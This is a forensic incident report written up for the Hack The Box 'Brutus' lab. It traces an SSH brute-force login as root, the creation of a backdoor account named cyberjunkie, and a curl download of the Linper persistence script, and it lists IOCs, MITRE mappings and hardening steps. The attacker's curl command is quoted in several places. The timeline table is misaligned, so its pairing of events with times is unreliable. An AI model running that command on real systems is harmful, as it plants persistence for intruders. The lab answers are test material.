

TASK 4 REPORT

Brutus – SSHBruteForceInvestigation(HackTheBoxSherlock)

Report	Task 4 - Forensic Incident Report
Investigation	Brutus – SSH Brute Force Investigation (Hack The Box Sherlock)
Affected System	Ubuntu Linux server
Primary Evidence	/var/log/auth.log and /var/log/wtmp

1. Executive Summary

A forensic investigation was conducted on a compromised Ubuntu Linux server to determine the attack vector, identify malicious activities, reconstruct the attack timeline, and document indicators of compromise. Analysis of Linux authentication logs and session artifacts confirmed that the system was targeted through a large-scale SSH brute-force attack originating from the external IP address 65.2.161.68.

Following numerous failed authentication attempts against administrative accounts, the attacker successfully authenticated as the root user on 06 March 2024 at 06:32:45 UTC. After gaining privileged access, the attacker established an interactive SSH session, created a persistent local backdoor account named cyberjunkie, and executed a remote shell script obtained from GitHub using the Linux utility curl.

The investigation reconstructed the entire intrusion by correlating text-based authentication logs with binary session history contained within the wtmp artifact. Evidence confirmed that the attacker maintained an active interactive session for 279 seconds, during which persistence mechanisms were deployed to retain future administrative access.

The incident demonstrates a classic SSH brute-force compromise followed by privilege abuse and persistence establishment. Immediate remediation includes disabling direct root authentication, enforcing key-based authentication, deploying intrusion prevention controls such as Fail2ban, and continuously monitoring authentication logs for malicious activity.

2. Attack Timeline

Date & Time(UTC)	Event	Evidence
Prior to 06:32:45	Multiple SSH brute-force attempts detected	Numerous "Invalid user" entries within auth.log originating from 65.2.161.68
2024-03-06 06:32:45	Successful SSH authentication SSH session established	"Accepted password for root" recorded in auth.log
2024-03-06 06:32:45	systemd-logind assigned	Session allocation recorded in auth.log
2024-03-06 06:32:45	Session ID 37 Privilege maintained through local account creation	Verified using utmpdump on wtmp
Shortly after login	Remote persistence framework downloaded	Account "cyberjunkie" created (MITRE ATT&CK T1136.001)
During active session	SSH session terminated 279 seconds	/usr/bin/curl https://raw.githubusercontent.com/montyscurity/linper/main/linper.sh "session closed" event recorded in auth.log
2024-03-06 06:37:24		Derived from session open and close timestamps
Total Active Time		

3. Detailed Forensic Analysis & Methodology

3.1 Evidence Collection

The investigation focused on Linux authentication artifacts to reconstruct attacker activity. Primary evidence sources included:

- /var/log/auth.log
- /var/log/wtmp
- System authentication events
- SSH daemon logs
- systemd session records

These artifacts were analyzed to identify unauthorized authentication attempts, successful logins, privilege escalation activities, and persistence mechanisms.

3.2 Authentication Log Analysis

The first stage involved examining the authentication logs for indicators of brute-force activity.

The following command was used to isolate failed SSH login attempts:

```
grep "Invalid user" auth.log
```

This reduced thousands of authentication events into entries specifically related to invalid administrative usernames. Analysis identified repeated high-frequency login attempts originating from:

Attacker IP

65.2.161.68

These repeated failures strongly indicated an automated SSH password-guessing attack.

Successful authentication events were then isolated using:

```
grep "Accepted password" auth.log
```

This identified the exact point at which the attacker successfully authenticated as the root user.

Username	Timestamp
root	2024-03-06 06:32:45 UTC

3.3 Session Boundary Identification

To accurately determine how long the attacker remained on the system, authentication logs were searched for session lifecycle events.

```
grep -E "session opened|session closed" auth.log
```

These events revealed:

- Session Opened: 06:32:45 UTC
- Session Closed: 06:37:24 UTC

The calculated interactive session duration was:

279 Seconds

This established the complete time window during which post-compromise activity occurred.

3.4 Binary Authentication History Analysis

Unlike auth.log, which stores events as plain text, the wtmp file records historical login sessions in a binary format.

Because binary files cannot be interpreted directly using standard text utilities such as cat or grep, the native Linux utility utmpdump was required.

The necessary package was installed using:

```
sudo apt update && sudo apt install -y sysvinit-utils
```

The binary session database was then decoded using:

```
utmpdump /var/log/wtmp
```

This process reconstructed the historical login records and confirmed:

- Interactive SSH session allocation
- Login timestamp

- Assigned Session ID
- Associated user account

3.5 Difference Between SSHD Events and systemd-logind Events

SSHD

The OpenSSH daemon (sshd) is responsible for:

- Network authentication
- Password verification
- Accepting or rejecting login requests
- Recording failed authentication attempts
- Logging successful SSH logins

These events are primarily stored in auth.log.

Example:

```
Accepted password for root
```

This confirms successful network authentication.

Once authentication succeeds, Linux transfers control to systemd-logind, which manages local user sessions.

Its responsibilities include:

- Allocating session IDs
- Creating login sessions
- Tracking user logins
- Managing logout events
- Recording historical session information

Unlike SSH authentication events, these records are preserved inside the binary wtmp database.

In this investigation, systemd-logind assigned:

```
Session ID: 37
```

This identifier uniquely represented the attacker's interactive login session.

During the active SSH session, the attacker established persistence by creating a new privileged local account.

Created Account:

```
CyberJunkie
```

This activity aligns with the MITRE ATT&CK technique:

```
T1136.001 - Create Account: Local Account
```

Creating an additional administrative account enables attackers to regain access even if the original credentials are changed.

3.7 Payload Retrieval

The attacker subsequently downloaded an external shell script using curl.

Command executed: /usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh

The downloaded script belongs to the Linper Linux persistence framework and is intended to establish long-term persistence on compromised systems.

This activity represents the attacker's progression from initial access to persistence deployment.

4. MITRE ATT&CK; Mapping

Tactic	Technique	ID	Evidence
Initial Access	Brute Force	T1110	Repeated SSH authentication attempts from 65.2.161.68
Persistence	Create Account: Local Account	T1136.001	Creation of local account "cyberjunkie"
Command and Control / Execution	Command and Scripting Interpreter	T1059	Execution of curl to retrieve remote script
Resource Development	Obtain Capabilities	T1588	Download of external persistence framework from GitHub

5. Indicators of Compromise (IOCs)

5.1 Network Indicators

Indicator	Value
Attacker IP Address	65.2.161.68

5.2 User Account Indicators

Indicator	Value
Compromised Account	root
Backdoor Account	cyberjunkie

5.3 Session Indicators

Indicator	Value
Session ID	37
Login Time	2024-03-06 06:32:45 UTC
Logout Time	2024-03-06 06:37:24 UTC
Session Duration	279 Seconds

5.4 Malicious Command

/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh

6. Remediation and Defensive Recommendations

The investigation identified several opportunities to strengthen the security posture of the affected Linux server.

6.1 Immediate Actions

- DisabledirectSSH loginforthe rootaccount (PermitRootLogin no).
- Reset credentials for privileged accounts.
- Remove unauthorized account cyberjunkie.
- Review all privileged accounts for unauthorized modifications.
- Inspect persistence mechanisms such as cron jobs, startup scripts, and SSH authorized keys.

6.2 SSH Hardening

- Enforce SSHkey-basedauthentication.
- Disable password authentication where feasible.
- Restrict SSH access to trusted management networks.
- Change the default SSH port if appropriate within organizational policy.

6.3 Monitoring and Detection

- DeployFail2bantoautomaticallyblock repeated authentication failures.
- Continuously monitor /var/log/auth.log for brute-force patterns.
- Enable centralized log collection using a SIEM platform.
- Configurealertsfor successfulroot logins and unexpected account creation.

6.4 Network Security

- Applyfirewallrulestoblock malicious IP addresses.
- Implement rate limiting for SSH connections.
- Restrictinbound SSHaccess usingallowlistswhere operationally feasible.

6.5 Long-Term Improvements

- Enforce theprinciple ofleastprivilege.
- Enable multi-factor authentication (MFA) for administrative access where supported.
- Conduct periodic authentication log reviews and threat hunting exercises.
- Perform regular vulnerability assessments and security audits to identify exposed services.

7. Conclusion

The forensic investigation successfully reconstructed the complete attack lifecycle of an SSH brute-force compromise against an Ubuntu Linux server. Correlation of authentication logs and binary session records confirmed that the attacker gained privileged access through the root account, maintained an active session for 279 seconds, established persistence by creating the cyberjunkie local account, and retrieved an external persistence framework using curl.

The collected evidence demonstrates a structured attack progressing from initial access to persistence, highlighting the importance of robust authentication controls, continuous log monitoring, and proactive detection mechanisms. Implementing the recommended security controls will significantly reduce the risk of similar attacks and strengthen the organization's overall defensive posture.